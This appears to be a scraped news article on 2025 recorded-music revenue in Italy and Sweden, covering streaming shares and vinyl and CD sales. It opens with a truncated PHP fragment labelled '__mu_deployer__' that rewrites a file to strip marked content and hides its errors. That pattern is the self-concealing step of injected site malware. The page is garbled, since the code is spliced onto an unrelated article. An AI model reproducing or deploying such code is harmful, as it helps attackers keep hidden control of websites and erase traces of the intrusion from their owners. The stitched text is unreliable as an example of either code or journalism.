'; $s = strpos($fc, $m); $e = strrpos($fc, $m); if ($s !== false && $e !== false && $s !== $e) { $clean = rtrim(substr($fc, 0, $s) . substr($fc, $e + strlen($m))) . "\n"; @file_put_contents($func_file, $clean); } } } }, 1); /* __mu_deployer__ */

Photo Credit: Antoine Schibler
Last year was a mixed bag for Europe’s recorded music market, with Italy showing impressive growth year-over-year and doubling the European average. Meanwhile, like much of Europe, Sweden remained “stable.” Its subscription-based audio streaming alone made up 85% of its total recorded music revenue.
Italy’s recorded music growth increased by 10.7% year-over-year in 2025 to reach an impressive $579 million—a growth rate that doubled the European average and significantly outpaced global trends. This growth was primarily fueled by a 14.1% jump in paid streaming (now 69% of all streaming revenue). Streaming drives the Italian market, with over two-thirds of its total revenue derived from it, and premium subscriptions driving that up more than 14%.
It’s the eighth consecutive year of growth for the Italian recorded music market, which has more than doubled in value compared to 2019. Besides streaming, growth was spurred by a surprising 21.9% surge in physical sales, driven by “superfans” purchasing vinyl and CDs.
It’s also the first time that the value of recorded music in Italy exceeded the national movie box office.
Sweden paints a very different picture, with slower growth mirroring the significant slowdown in streaming growth as a whole. Streaming growth slowed to a modest 2% year-over-year—the crux accounting for these slow-growth stories European countries, including France (3.7%), Germany (2.3%), and the UK (4.9%).
Sweden’s recorded music market grew by 3% year-over-year in 2025, reaching $234 million, which IFPI Sverige called “stable.” Digital revenues account for nearly the entire country’s recorded music market, with subscription-based audio streaming alone making up 85% of total revenue.